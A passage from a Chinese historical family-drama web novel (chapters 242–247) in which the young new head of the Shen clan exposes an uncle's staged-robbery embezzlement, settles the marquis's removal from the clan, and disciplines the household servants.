沈经武在沈砚修的质问中轻垂眼帘,但仍然面容憨厚地说道:“世子,此次货物确实是遭山匪**,而且我已报了官,世子若不信,可到官府查看此案详情,以及我们当时登记的货物损失。”
沈砚修闻言唇角轻笑,坐直了身子,指尖轻扣桌案。
站在他身侧的沈砚珩顺势从怀中掏出一份帐单甩到沈经武面前,厉声喝斥。
“山匪?**?损失十万两白银是不是?”
“从你掌管四房以来,每隔一到两年都要遭一次山匪**,每次损失都在五万两白银以上,山匪怎么那么巧,每次都抢你?”
“而且每次**后你都第一时间报官,可这么多年过去,那些山匪却一个都没被抓住。”
“沈四叔伯,你是欺我兄长年幼,看不出里面的猫腻吗?”
第242章 得偿所愿
随着沈砚珩的话音落地,沈家宗祠直接炸开了锅。
沈经武来不及将那帐单捡起来,就被旁人抢了去。
“景和二年,三月,辉县遇匪,损失货物七万两。”
“景和四年,七月,岥县遇匪,损失货物六万两。”
“景和五年,九月,湖县遇匪,损失货物八万两。”
“景和七年,四月,兰县遇匪,损失货物五万两。
“……”
“景和十三年,六月,河州遇匪,损失货物十万两。”
现在别说是他们,任何一个读过三年私塾的人,都能看出这里面问题很严重。
尤其是沈老族长,他柱着手杖站了起来,满脸怒意地指着沈经武的鼻子道:“说!你给我说请清楚,到底怎么回事!”
这上面的每一笔帐都经过他的手,每一次拨款都有他的签字。
若是山匪有假,他真不敢想象眼前这个在他眼里憨厚无比的人,背着他竟然敢私吞这么多银子。
沈经武面色煞白,豆大的汗珠从额头滚落。
这件事他干了这么多年都没有出问题,怎么到了沈砚修这个毛头小子做家主,突然就被揭穿了呢。
他过了好一会儿,才结结巴巴地说道:“族、族长,这、这山匪狡猾,官府一时难以捉拿也是常事,而且我们四房做的是大生意,货物价值高,自然容易被山匪盯上。”
“事到如今,还不说实话?”
沈砚修眸色如寒渊般盯向他,“沈四叔伯,本世子给过你机会了,是你自己没把握。”
言罢,他抬手轻轻击掌,便有两名铁甲侍卫押着一个男人走进来。
那男人浑身是血,衣衫破碎不堪,头发凌乱地遮了大半张脸。
他刚被押进来,便“扑通”一声跪在地上,口中含混不清地喊道:“世、世子饶命,小的全都是按照沈四爷的指使才做的。”
沈经武听到这话,憨厚的脸色瞬间变得铁青。
他怒目圆睁,不可置信地指着那男人喝道:“沈贵,你……你胡说什么!”
沈砚修冷冷地看了沈经武一眼,转头对跪地的沈贵道:“你且将事情一五一十地说出来,若有半句虚言,本世子定不轻饶!”
沈贵听闻“轻饶”二字,吓得浑身一颤,忙不迭地说道:“是,是,小的定不敢隐瞒。”
“小的沈贵,是四房的管家,沈四爷他……他每隔一年或两年,外出送货时,便会安排小的带着一群仆人假扮山匪,劫走自家货物。”
“等小的带着货物走远,确认不会被抓后,他才会报官并掩盖部分事实。事后,他再以货物被劫为由,向家族申请拨款补货,那些银子便都进了他的腰包。”
见事情被揭穿,沈经武的脸色瞬间变得惨白如纸,身体也不由自主地颤抖起来。
沈老族长气得浑身发抖,用手杖重重地敲击着地面,“你……你这个不肖子孙!沈家怎么出了你这么个败类!”
沈经武双腿一软,直接瘫倒在地,嘴里喃喃道:“我……我……”
却再也说不出一句完整的话来。
沈砚修神色冷峻,缓慢而沉稳地走到沈经武面前,冷声道:“沈四叔伯,你为了一己私利,竟然指使仆人假扮山匪劫取家族货物,如此中饱私囊的行径,实乃家族之耻。”
“今日,本世子便要替家族清理门户,以正家风!来人,把他拉下去,依族规:鞭三十,没收其名下所有资产,并逐出沈家!”
言罢,沈砚修一挥手,示意铁甲侍卫将沈经武押下去。
沈经武早已吓得瘫软在地,任由侍卫拖拽,眼中满是绝望与悔恨。
沈家宗祠内,堂下众人皆屏息凝神地望着这一幕,都噤若寒蝉。
他们此前以为世子沈砚修年幼,好被拿捏。
可现在看来,沈砚修不仅心思缜密,手段更是雷厉风行,令人不敢小觑。
沈砚修目光扫过在场众人,缓缓说道:“今日之事,希望大家引以为戒。若有人再敢为了一己私利,做出损害家族之事,绝不轻饶!”
众人闻言,皆低头沉思。
尤其是此前小瞧沈砚修的人,此刻都打起了十二分的精神。
有背景也就罢了,关键还有能力。
沈家有此人带领,何愁不能桃枝遍地。
若说此前沈老族长还对沈砚修任家主之位留有余地,此刻他
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已经完完全全服气。
他柱着手杖,对沈砚修微微拱手,“世子英明,此番清理门户,实乃家族之幸。从今往后,沈家定当上下一心,共谋家族繁荣昌盛。”
言罢,他目光告诫般地扫视了一圈在场众人。
尤其是最后一眼,重重地落在了沈砚齐身上。
沈砚齐见状,不得不收起眼中戾气,垂下脑袋,和众人一样拱手应是。
将这一切收入眼底的沈砚修,指尖微蜷。
他与珩弟出门前,母亲曾告诫他们说:欲速则不达,事可以做绝,但话要留三分余地。
是不是预料到会出现眼前这种情况?
心中虽然对沈老族长的护短有些不喜,便他还是连忙对着老族长轻回一礼,温声道:
“老族长过誉了,砚修只是做了该做之事。家族之中,本就该同心同德,若有人行那等损害家族之事,我身为家主,自当严惩不贷,以儆效尤。”
“还望老族长日后多多监督,若有砚修做得不当之处,也请老族长直言相告。共助砚修将沈家带领得更加兴旺发达。”
温和有礼,敬老尊老,还如此进退有度。
沈老族长连连点头,心中对他更加满意,当下便应声道:“世子放心,老朽定当竭尽全力,辅佐世子,共兴沈家。”
沈二叔见状,对沈砚珩对视一眼,齐齐开口:“辅佐世子,共兴沈家。”
堂下众人也纷纷附和:“共兴沈家。”
……
沈家祖祠的隔壁院落。
凉厅下,依旧瓜果俱全。
沈二婶带着沈娇娇陪着孟南枝和沈朝昭,一直在静静地听着旁边的动静。
直到此刻,她才满脸堆满笑意地对孟南枝道:“南枝,恭喜你再次得偿所愿。”
要说以前为了争着掌管侯府中馈,她对孟南枝始终不服气。
那么经此一事,沈二婶对孟南枝是彻底心服口服了。
自己有本事也就罢了,阔别十年未见。
回来后还能把被刻意养歪的子女给掰回正路。
掰回正路也就罢了,关键还把路给铺得这么好。
前途这么亮。
这到晚上能睡得着吗?
第243章 上天看不过眼
孟南枝能听出沈二婶是真诚的道谢,便点头笑道:“世子能成事,也多亏有沈二叔相助。”
沈二婶为孟南枝添了茶,“你就少取笑你二叔了,他现在整日酒里来醉里去的,每天哪有个正形。”
“也是此次侯爷出事,才激起了三分脾气,所做一切也不过是为了自保而已,是不能与你和世子比的。”
沈二婶这话说得敞亮,孟南枝很难不喜。
她唇角微弯地端起茶盏轻抿了一口,才道:“沈旻这孩子我瞧着不错,是块经商的苗子。”
沈二婶闻言面上立马露出喜意,“南枝此言当真?”
四房沈经武掌管家族生意十余年,如今他被逐出沈家,家族生意这一块儿正缺得力之人。
她这长孙能得孟南枝一句夸赞,那便证明家族生意这一块,他们也能分杯羹。
孟南枝将茶盏放下,微微颔首,“沈旻聪慧、为人活道,稍经历练后,以后未必不能成为一方主事。只是此事总归要经沈旻同意,世子点头才是。”
沈二婶再次为她添了茶水,点头道:“这是自然,世子如今是我沈家家主,凡事都要过问世子意见才是。”
孟南枝见她如此客气,眸光更加温和。
“沈旻虽有天赋,但经商之路并非坦途,需吃得了苦、耐得住寂寞,还得有敏锐的洞察力和果断的决策力。若他真有此决心,世子那边我自会前去说项。”
虽说此前带沈旻到城门施粥是和沈二婶的交易。
但经过那段时间的观察和相处,孟南枝发现沈旻确实有可用之处。
灵活、重规矩、识大体,分得出轻重,也知该怎么站队。
单这几点,现在沈家祖祠堂下的那些人有很多都做不到。
所以在长子沈砚修继承沈家家主之位后,孟南枝不得不考虑该为其培养心腹。
只有一个人的道路,总归是走不长的。
沈二婶听闻,忙不迭地点头,“南枝你放心,我回去便与旻儿说,让他好好准备,定不辜负你和世子的期望。”
这是机会,她必然会让长孙好好把握。
在她百年以后,沈旻未尝不是没有机会去争一争当族长的权力。
争爵位他们是一点机会都没有,但争族长这个位置,还是可以拼一拼的。
有她在旁边一直提醒,只要长孙不往歪路上走,未来发展必然可期。
至于长孙女……
沈二婶看了眼孟南枝身侧的沈朝昭,面上露出略带讨好的笑意,“南枝,还有件事,我想请你帮忙。”
孟南枝颔首,“沈二婶但说无妨。”
沈二婶摆了下袖子,道:“我也是前几天外出时,听到有人说朝昭在慈幼堂内开了个学堂,专门教那些孤女手艺,这事儿可真是积德行善的好事啊。”
“南枝,我瞧着朝昭这孩子心地善良又聪慧,真是随了你。正巧我这孙女娇娇常在闺中,并无锁事,不知可否让她与朝昭一起去见见世面?”
“不管是女红,还是诗书,娇娇都很擅长,若那些孤女无人教导时,也可以让她充个师傅,指导她们一二。”
沈二婶这番话说得情深意切,活像是在推销卖不掉的货物。
乃至于坐在她身侧的沈娇娇都有些不适应的羞红了脸。
见孟南枝朝她看来,忙端正了身子,躬首垂眉,坐得板板正正。
孟南枝见她们祖孙这般模样,失了笑。
沈娇娇要比沈朝昭长一岁,已及笄,但因沈二婶对她疼爱有加,总想为她挑个更好的夫婿,所以到现在也没有婚配。
此番提及让她和沈朝昭一起出去见见世面,颇有一番想为她加码的意思。
虽然此事不过是顺手为之,但孟南枝仍觉得要问下女儿的意见。
毕竟开设学堂教导那些孤女一事,全权由女儿处置,她不想从中插手,徒增女儿不快。
而且若是沈朝昭对沈娇娇不喜,她便更难同意。
哪知孟南枝才刚看向女儿,沈朝昭便笑眯眯地拉着她的裙摆,道:“母亲,您就同意了吧,我与锦书正发愁忙不过来呢,有娇娇姐一起帮忙那是最好不过了。”
她深知长兄刚任家主,正是用人之际。
虽然此前她与沈娇娇并不相熟,但为了长兄,她也不是不可以稍微委屈一下自己。
再说,她也不想让母
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亲为难。
而且沈二婶求的是母亲,母亲若反过来问她的意见,只会扮沈二婶难堪。
察觉到女儿的变化,孟南枝喉头微酸。
安抚似的轻拍了下女儿的脑袋,孟南枝方才对沈二婶点头道:“既然娇娇有此兴致,那便与朝昭一同过去帮忙吧。”
“只是慈幼堂内皆是孤苦无依的孩童,娇娇此去,需得有耐心,不可摆世家小姐的架子。”
同意归同意,但该点的也得点。
避免她为女儿惹来麻烦。
沈二婶听闻孟南枝答应,脸上顿时笑开了花,忙不迭地应道:“南枝放心,娇娇自小就是个心地善良的孩子,定不会做出那等失礼之事。”
沈娇娇也连忙起身,对着孟南枝盈盈一福,声音清脆悦耳:“夫人放心,娇娇定会好好配合朝昭,不做越轨之事。”
孟南枝见状,微微颔首。
一个“配合”,一句“越轨”。
直接就点明了态度,把自己放在辅助的位置。
是个很聪明的姑娘。
沈二婶或许为人不诚,但这两个孙子、孙女,当真是生得好。
这方言罢,那方宗祠议事也已尘埃落定。
在众旁支主事陆续离去后,沈砚修与沈砚珩才和沈老族长、沈二叔从宗祠内缓缓而出。
一直在门外候着的观棋,连忙上前恭敬地将拐杖递到沈砚修面前。
“家主。”
他身为书童,不得进入宗祠。
但他在门外却是听得热血沸腾,比谁都激动。
想想此前世子还在因为想退婚和侯爷起争执,侯爷气得要剥世子的爵位。
哪想这才过去多久。
风水轮流转。
侯爷竟然先被世子夺了家主之位。
他虽为书童,却深感一荣俱荣。
而这一切的转变,都是在夫人回来后。
在这一刻,观棋甚至觉得,溺水十年消失不见的夫人能回来。
大概就是上天看不过眼,特地让夫人回来惩罚侯爷、拯救世子的。
要不然夫人为什么早不回来,晚不回来。
偏偏在世子想要退婚,被侯爷提及剥去爵位的时候回来呢。
第244章 难免会误人口舌
沈砚修不知观棋心中所想,他接过拐杖后直接放在腋下,将身子半倚在上面,一直忍着的脚痛才稍微减轻一点。
沈老族长见状,再次满意地点了点头。
世子虽然年少,却能忍常人所不忍,这份心性实属难得。
而且刚才那两名侍卫,他看着面生,却带着历经沙场的血性,应是屠戎将军的人。
前有孟相做靠山、后有屠戎将军做庇护,再加上和太子有共事之情,日后成就只会比侯爷高,不会比侯爷低。
想到这里,沈老族长又扭头看了眼沈砚珩。
这个小子今天的表现也让他大为改观,与沈砚修配合无间,责斥四房沈经武时威风不减。
只要好好培养,未来也不是不可以成为家主的辅助。
一门双子,若两人都能在仕途上有所建树,沈家在朝堂之上的地位必然更加稳固。
沈砚修没有注意到老族长心里的小九九,他将拐杖放稳,活动了一下有些发麻的双腿后,直接领先一步到了隔壁府院。
沈砚珩似想到什么,眉眼间多了份急切,也加快了脚下步伐。
沈老族长和沈二叔对视一眼,互相无奈地摇了摇头,只好也跟在后面走了过去。
府院正门前,孟南枝已立厅下。
雅青色素缎锦褙衬得她面色更加温和,鬓边依旧只是简单地插了一支素面金簪。
没有用华丽的衣装和头面去装饰,却自带端庄与威严。
沈砚修喉头猛地一紧,胸腔内翻涌的热意几乎要冲破刚才强撑的沉稳。
别人或许看不出来,但他清晰地记得母亲比起刚回来那日,眉间多了几分疲惫与憔悴。
他下意识地想要抬手去扶母亲的手臂,但在沈二婶带着沈娇娇恭敬的行礼中,才陡然想起从今日起自己已经不再是个孩子,而是执掌沈家的家主。
“恭喜世子成为家主。”
沈二婶堆着满脸笑意,侧身给他让位。
沈娇娇同样很规矩地行礼之后便退到一侧。
对于他们沈家的这位世子,她此前并未深交,所以此刻也没有急着上前攀谈。
沈砚修眸色平静地对她们二人微微颔首。
哪怕有外人在场,他依旧决定顺从内心地对着孟南枝深深拱了一辑。
“母亲。”
孟南枝扶他起来,望着他眼底未褪的红丝和强压下去的潮意,轻拍了拍他的手背,温声道:“辛苦了。”
说实在的,长子能成长如此之快,有些出乎孟南枝的意料。
她本以为长子经山城赈灾之行,最多是脱去稚气,变得稍加稳重。
却没想到回来后的长子给了她大大的惊喜。
不管是皮肤的黝黑、身材的消瘦,还是眉宇间的坚毅与沉稳。
都让孟南枝清晰地意识到,长子沈砚修在山城吃了很大的苦。
只是不愿说于她,让她担心而已。
沈砚修闻言,眼眶微微发热,他强忍着鼻尖的酸涩,低声道:“母亲,孩儿不苦。”
感谢的话不必多言,唯有行动才能不负母亲对他的付出。
“大哥。”
沈朝昭难得没有跳脱,稳重地站在孟南枝身侧。
只是她那双紧紧盯着沈砚修的杏眼,晶莹透亮,赤裸裸地写满了激动与崇拜。
大哥好棒!
大哥真厉害!
我要向大哥学习。
沈砚修在妹妹如此拍马屁的眼神中略失笑意。
他压下心中的那份激动,平复心情后,在孟南枝的搀扶下进入厅堂。
厅堂内,光影交错,除上首设立主位外,六张梨花木太师椅分作两列对置。
因为天气转凉,座椅上皆铺着深青色织金软垫,椅背钳着螺细如意纹,扶手两端雕成衔珠玉兽。
每个座位间的案几上,都对称摆放着汝窑青瓷与紫檀木笔筒。
下人们早已在上面备好茶水,供他们议事。
作为新任家主的沈砚修,不无例外地坐在上首主位。
孟南枝与次子沈砚珩、女儿沈朝昭分别坐于左侧三位。
沈二婶和沈娇娇,因为身为女子,按照过往规矩,并未进入厅堂。
坐在孟南枝对面的沈老族长,看了眼已经落坐的沈朝昭,有心依照族规让她出去。
但看沈砚修和孟南枝端坐如
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山的状态,只得暗叹口气,压下心中不适的撇开眼。
对于沈老族长眼神中对女儿进入厅堂议事的不满,孟南枝不是没有看到,但她不在意。
她能坐在这里,那么她女儿便能坐在这里。
再说她即有意培养女儿往更广阔的方向去发展,那么近距离地接触各种事务,便是必不可少的一步。
更何况接下来要议之事,又与他们子女三人息息相关。
见众人都已坐下,沈砚修没有过多客套,直接进入主题。
“族长,二叔。虽然我父亲‘自请’脱离沈家,但到底未经官府备案,从法理上来说,沈家如今依旧与父亲有着千丝万缕的联系。”
“一旦陆筝筝被劫一案查出与他无关,难免会误人口舌,给沈家带来诸多麻烦与隐患。所以分户一事还需族长和二叔尽快安排人去官府办理相关手续,将父亲从沈家族谱中正式分出去,如此方能彻底划清界限,保沈家安稳。”
虽然这本就是提前定好的,但真走到这一步,沈老族长心中还是有些五味杂陈。
沈家历经数代,虽说一直算不上顶级世家,可在这京城之中,也算是有头有脸。
如今却要反逼侯爷分户,实在是世事无常。
可他也明白,沈砚修所言不假,若不妥善处理,沈家声誉受损,日后在朝堂之上也会面临诸多麻烦。
他沉吟片刻后,缓缓开口道:“世子所言极是,侯爷脱族之事非同小可,确实需按规矩来办。只是这礼部与宗人府那边,还需有人从中周旋,方能顺利递上奏疏。”
沈卿知到底是侯爵,脱离家族并没有民间百姓分户那么简单。
除了“脱族书”,还需分别向礼部、宗人府呈递奏疏,阐明脱离缘由,厘清爵位承袭、家产分割、宗族义务,并有族长、族老的见证书。
最终提请至圣上面前,经圣上同意,方能拿到官府的备案文书,至此才算完成整个脱族流程。
沈砚修与母亲对视一眼,见她肯定地点头后,方才颔首道:“族长只管呈递奏疏便是,礼部和宗人府那边,我自有安排。”
第245章 回镇北侯府
沈老族长微微一怔,旋即反应过来,暗自叹出一口气。
他原以为世子年纪尚轻,处理起这般复杂的事务来,或许会稚嫩到手忙脚乱地求助于他。
却不想他竟早已有了安排。
不过想想也是,有孟相作靠山为他兜底,怕不是现在礼部和宗人府都已经打点好了关系,就等着他们沈家呈递奏疏呢。
想到这里,沈老族长提着的心放了下去,“既如此,那老夫便放心了。只是这脱族之事牵扯甚广,世子还需谨慎行事,莫要出了差错。”
总归只是呈递奏疏而已。
将沈卿知剔除沈家家谱一事,他身为族长不可能全让世子去背负。
若不然等到了下面,只怕各位祖宗会指着他的鼻子,骂他不担责任,全让一个小辈去承担这等大事。
反正他也活不了几年了,能为沈家多铺一点路,就铺一点吧。
沈砚修微微欠身,神色恭敬道:“多谢族长提醒,砚修定当谨记于心,不负族长与沈二叔所托。”
没说不负沈家众人所托,是因为沈砚修截至目前还没感受到沈家族人对他的真心支持与助力,不过此刻他也不会过多计较这些。
如母亲所说,这些族人若敬他,他便用;若不敬他,只要触犯律法,他必不轻扰。
他可以担起沈家世子的责任,却不会把沈家作为他的后盾。
沈老族长满意地点了点头,又转头看向孟南枝,感慨道:“南枝教子有方啊,沈家日后在世子的带领下,想必会更加繁荣昌盛。”
孟南枝面色平静地谦逊道:“族长过奖了,修儿能有今日,也离不开族长和沈二叔的悉心教导与扶持。还望日后族长和沈二叔能继续多多提点他,让他能更好地为沈家效力。”
沈老族长和沈二叔既然愿意全力支持她的长子,那么孟南枝也不介意给足他们足够的脸面。
沈老族长也自知孟南枝说的是客套话,但奈何心里就是舒服。
他笑得眯起了老花的双眼,扬声道:“这是自然,沈家上下本就一体,世子年少有为,我等自当全力相助。”
沈二叔也堆起了笑脸附和:“南枝放心,世子如今挑起沈家大梁,我们这些做长辈的定会不遗余力地帮扶,定不会让世子独自面对那些艰难险阻。沈家历经风雨走到今日,靠的就是上下齐心,往后也定会如此。”
沈老族长和沈二叔的话,孟南枝只信其一半。
毕竟她不在的这么多年,沈家族人也没有几个是真心护着她子女的。
客套话说罢,几人又商议了一些脱族事宜的具体细节,诸如奏疏的措辞、见证书的撰写等等。
沈砚修都一一认真聆听,不时提出自己的见解与想法。
他虽年少,但认真起来,却不失沉稳和老练。
沈二叔看着沈砚修侃侃而谈的模样,总觉得莫名怪异。
就好似,眼前的情景,沈砚修已经演练过许多遍一样。
而一旁的沈砚珩看着兄长垂目与族长交谈的模样,也不禁陷入沉思。
因为他和沈二叔有一样的想法。
沈老族长提出的每一个小问题,沈砚修都能不假思索地说出应对之策,仿佛这些问题他都经历过,也深思过。
这般从容不迫,与他记忆中的兄长相差甚大。
只是单纯的山城赈灾之行,真的能将兄长磨炼得成熟成这个样子?
那他是不是也该多出去走走?
而沈朝昭则坐在母亲身旁,听着他们交谈的模样,同样陷入沉思。
父亲若被剔除沈家,按理说对他们子女影响最大。
但兄长再任家主,却将这份影响直接综合,改弊为利。
不管是母亲的谋划,还是兄长们的应对,都让她深受震撼。
她要学的东西,确实还有很多。
诸事议毕,沈老族长看着孟南枝他们母子(女)四人,再次低叹一口气。
他起身柱着手杖走到沈砚修面前,握住他的手,语重心长地说道:“世子,即便我们为了保沈家,将侯爷之名从沈家移除,但侯爷他总归是你们的父亲。”
“世子正当年少,受其圣上嘉奖。但若是一点都不为侯爷求情,怕是‘不孝’二字会随其一生。哪怕以后世子你的成就再高,也难保不会留有诟病、落人把柄。”
沈老族
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长此言不可不谓情深意切。
纵使他曾对身为庶子的沈卿知任沈家家主,继承爵位不喜。
但这么多年过去,看沈卿知带着沈家族人走过诸多风雨,便也见不得沈砚修对他这个父亲太过凉薄。
还有一点,沈老族长担心沈砚修在孟南枝的教导下,对沈家只有利用之心,而无亲情之念。
毕竟血浓于水,若世子与侯爷关系闹得太僵,沈家在京城之中也会被人指指点点,于家族声誉不利。
沈砚修听出沈老族长话中的担忧与劝诫,微微沉思后,缓缓开口道:“族长所言,砚修自会铭记于心。”
“父亲之事,我并非全然不顾亲情,只是陆筝筝被劫一案实在牵涉甚广,法理当前应当以法为重。一旦此案证实与父亲无关,我自会为父亲求情,以尽人子之责。”
孟南枝看着长子沉稳应对的模样,心中满是欣慰。
别人不知道,她心里确实很清楚长子心思细腻,其实最念旧情。
只因年少,不喜表现出来罢了。
沈老族长见沈砚修如此说,心中的担忧稍减,点了点头道:“世子能如此想,甚好。”
从沈家老宅出来后,孟南枝一行没有回孟府,而是直接驾车到了镇北侯沈府。
因为镇北侯沈卿知被圣上押入天牢,平妻林婉柔也跟着入狱,镇北侯府现在几乎成了无主之家。
守门的小厮战战栗栗,生怕禁卫军突然来人抄了沈府。
此刻见到孟南枝他们回来,当下便如找到主心骨一样,跪在地上行礼。
“小的见过夫人、世子、公子、小姐。”
孟南枝未作声,观棋却板起了小脸,斥责道:“叫什么世子,还不快称家主!”
家主?
什么家主?
侯爷不是在天牢吗?
小厮小幅度的抬头,看了下鹤立于中央的沈砚修,却被他身侧的沈砚珩横眉刺了一眼。
他心头一跳,忙不迭的额头抵叩地面,颤声道:“是,小的见过家主,恭贺家主回府。”
变天了,沈家真的变天了。
世子都任家主了,那侯爷的爵位是不是也要换人了?
第246章 沈朝昭执掌侯府中馈
镇北侯府比起孟南枝上一次来,要冷清了许多。
花圃里栽着的名贵紫海棠,花瓣凋落,叶子也已经泛黄发枯。
凉亭后面,由太湖石堆成假山中间嵌着的那颗南海进贡夜明珠,沈卿知为了凑齐孟南枝的嫁妆,早已将其挖去卖掉,换成了普通的鹅卵石。
至于庭院正中间水池子里铺着的珊瑚沙,倒是没动。
只是水池里原来精养的红鲤,竟是有两条翻了白肚。
廊厅下,以前勤快打扫的婆子,此刻正背对正门围坐在一团窃窃私语。
“陆姑娘到现在还没抓到,侯爷八成是要被**的。”
“是啊,这都多久了,八成已经逃到天涯海角了,你说这陆姑娘被劫,侯爷到底有没有参与?”
“这还用问?肯定参与了呗,要不圣上能把他押入天牢?”
“侯爷待那陆姑娘,可是比咱正儿八经的侯府小姐还要亲,要说没参与,怕是鬼都不信。”
“……”
沈朝昭听得眉头直跳,率先发了火气,“放肆!竟然在背后编排主子是非,本小姐看你们是活腻了!”
毫不胜防的婆子们吓得猛一哆嗦,连头都不敢抬纷纷跪地求饶。
“小、小姐息怒,奴婢们再也不敢了,求小姐饶命!”
若是陆筝筝,对她们一向温温柔柔,她们自是不怕。
可来人却是沈朝昭,她平时最是刁蛮严厉,被她听到,怕是一顿板子挨下来,不死也得脱层皮。
沈朝昭冷哼一声,目光如刀般扫过她们,正欲开口责罚,却见田管家带着一众家仆姗姗来迟。
他们刚一进来,便齐齐跪倒在地,整齐的声音中带着惶恐与不安。
“见过家主、夫人、公子、小姐。”
往日里侯府何等风光,如今侯爷和平妻林婉柔皆因陆筝筝被劫,双双入狱。
从前不受侯爷器重的世子接任家主,众人心中多少揣着点“树倒猢狲散”的惶恐,在看向沈砚修的目光里,有试探,还有几分轻视。
只是在落到他身侧的孟南枝身上时,又不免连忙收起了视线。
他们虽是下人,但对于侯爷、孟南枝、林婉柔之间的爱恨情仇确实了解得要比在人多。
更知道眼前的前侯夫人孟南枝不是好惹的主,侯爷和平夫人在她面前都讨不得半点好,她们就更别说了。
生怕自己成为那个出头鸟的显眼包。
尤其是田管家,完全心虚的不敢抬头。
上次孟南枝来府里带月芹他们几个下人走的时候,他还曾阻拦过。
那时孟南枝是与侯爷刚和离的前妻,林婉柔则是翻身上位的主母,他只能听婉柔的。
现在风水轮流转,跟着孟南枝去孟府居住的世子,刚回京就做了家主,还带着母亲孟南枝回了府。
这让他心里七上八下,生怕孟南枝记仇,新账旧账一起算。
孟南枝看着这番情景,心中并无太多波澜。
她既然已与沈卿知和离,哪怕长子沈砚修成为沈家家主,这镇北侯府她也是不打算回来住的。
至于侯府这些下人,自然也全权交由子女负责管理。
她不会多插嘴一句。
“起来吧。”
沈砚修坐在由观棋搬来的太师椅上,轻轻抬手,指尖微压,清越的声音带着一丝沙哑。
一众仆人依言起身,垂手侍立,不敢与他对视。
沈砚修目光扫过刚才私语的那几个婆子,最终落在为首的田管家身上,声音冷淡:“田管家,府中家规第二十一条,关于下人私传主家是非,该如何处置?”
田管家心头一凛,忙躬身道:“回禀家主,按规当杖责十五,罚俸三月。”
“既知道,为何不罚?”
沈砚修冷笑一声,目光骤然锐利如刀,“侯府遇难,你身为侯府管家,理应对府内下人进行约束,可你不仅不管不罚,还任其妄议主家,该当何罪?”
田管家额头瞬间冒出细密的汗珠,他扑通一声跪下,声音颤抖:“家主饶命,是老奴失职,老奴愿领罚,杖责三十,罚俸半年,以儆效尤。”
他深知世子刚任家主,需要开刀立威,此刻若是自己不主动领罚,只怕下场会更惨。
沈砚修微微眯起眼睛,审视着田管家,直盯得
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他面色惨白,才缓缓开口:“此次便依你所言,若有下次,定不轻饶。”
田管家如获大赦,连忙磕头谢恩。
沈砚修又将目光扫向那几个婆子,“至于你们几个,背后妄议主家,按家规当如何?”
眼见管家都已经被罚,那几个婆子更是吓得面如土色,听到问话,连忙磕头如捣蒜。
“家主饶命,奴婢们知错了,愿领杖责十五,罚俸三月。”
沈砚修冷哼一声,“念在你们初犯,便依家规处置,若有再犯,定不轻饶。”
说罢,他挥了挥手,示意家仆将人带下去行刑。
一时间,庭院里只听到板子落在皮肉上的沉闷声响和婆子们压抑的哭喊声。
其他仆人见状,更是大气都不敢出,一个个低眉顺眼,生怕一个不小心惹恼了这位新家主。
直到行刑完毕,沈砚修才又将目光扫向底下的仆人。
“从今日起,凡敢乱议主子、不守规矩者,无论资历深浅,一律按家规处置,绝不姑息。若还有人心存侥幸,试图浑水摸鱼,那便休怪本世子无情!”
仆人们齐声应诺,声音中带着几分颤抖,显然是被沈砚修的雷霆手段给震慑住了。
以前侯爷在府中遇到仆人犯错时,也罚。
但作为平夫人的林婉柔自持温柔,总在旁边劝着,所以哪怕侯爷生气,他们被罚得也不重。
哪想世子沈砚修第一天上任,便下这么重的手,一点情面都不留。
更是丝毫不在意他们这些下人的死活与感受。
下人怎么想,沈砚修自是不管,他顿了顿,又道:“此外,即日起,侯府中馈由本世子的妹妹、侯府唯一的小姐沈朝昭主持。”
此言一出,仆人皆惊。
一个眉头上挑、面容干净的婆子突然躬身开口道:“世子,此有不妥,小姐总归年幼,这中馈之事繁杂,怕是难以胜任。”
沈砚修目光紧紧看向那婆子,鼻间发出一声冷哼。
“若本世子的妹妹不能胜任,那你倒是说说谁能胜任?”
“是你,还是你那已经被落狱的主子,平夫人?”
第247章 平夫人是无辜的
那婆子不是旁人,正是林婉柔从林府带来的心腹,王婆子。
林婉柔嫁入镇北侯府做平夫人后,试图执掌侯府中馈。
为**,她设计让沈卿知以孟南枝的管事刘嬷嬷未管教好沈朝昭为由,将刘嬷嬷打了二十大板后赶出侯府。
此后,林婉柔把自己的心腹王婆子提拔成了管事嬷嬷,让她帮着一起管理府中事务。
林婉柔自持要做一个温柔体贴、不争不抢的当家主母,自然府中中馈管理之事多由王婆子处理。
沈砚修一回来,便想让沈朝昭接手中馈,王婆子自是不服。
因为林婉柔平日私下里对待沈砚修他们的轻视,王婆子自认自己并非侯府下人,对沈砚修他们兄妹也没有几分敬意。
所以哪怕她明知沈砚修在生气,也依旧半挺腰板,只微躬身子道:“世子,这中馈之事涉及府中大小事务,若是一着不慎,恐会生出许多事端。老奴只是担心小姐难以应付,并无他意。”
“况且以往府中中馈皆是由平夫人掌管,如今平夫人虽然入狱,却并未落实罪名,若此时贸然更换中馈掌事之人,恐会落人口实,引来不必要的麻烦。”
因为刘嬷嬷被赶出侯府一事,沈朝昭本就恨林婉柔恨得厉害,对这接替刘嬷嬷管理侯府事务的王婆子更是不喜。
眼下见她对长兄竟然没有一点敬意,沈朝昭耐不住性子地从背后抽出长鞭直接甩在了她身上。
“放肆!身为下人,竟敢质疑主子决定,还敢提及那害我父亲入狱的林婉柔,我看你是吃了熊心豹子胆了!”
长兄顾忌尊卑,称林婉柔为平夫人,可她沈朝昭却是绝对不会敬那女人一句的。
王婆子被这一鞭子打得一个趔趄,差点摔倒在地。
她捂着火辣辣疼的胳膊,眼中闪过一丝怨毒,但面上却不敢表露出来,只是继续躬着身子,装作可怜兮兮的模样道:“小姐息怒,老奴所言全都是为了侯府着想。”
“为侯府着想?”
沈朝昭看到她那跟林婉柔一个模子装出来的可怜就觉得恶心。
“说得倒是好听,你若真为侯府好,就该乖乖听我长兄的话,主动交权,而非在此巧言令色!竟然还敢歪理邪说的妄图阻拦,你当本小姐是三岁孩童,那么好糊弄不成!”
王婆子依旧不怯地说道:“小姐,老奴实在不敢有半分忤逆之心,只是这中馈交接并非小事,您此前并未接触过……”
在旁边一直静心观看的孟南枝没有忽略到刘婆子眼中闪过的那怨狠毒。
她指尖微动,抬手轻拍了一下长子沈砚修,无声吐出一个“林”字。
沈砚修不动声色地点了点头,再看刘婆子时眸色已若寒渊。
“刘婆子,本世子让妹妹接手中馈,是侯府自家之事,何来落人口实之说?你口口声声说为侯府着想,阻拦此事,难不成你是想继续把持中馈,为你那入狱的主子谋取私利?”
王婆子脸色微变,她没想到沈砚修如此犀利,直接戳破了她的心思。
但她又岂会承认,只得硬着头皮道:“世子,老奴冤枉,也替平夫人冤枉。平夫人和老奴为了侯府,忠心耿耿,从不越矩,更不曾谋私。”
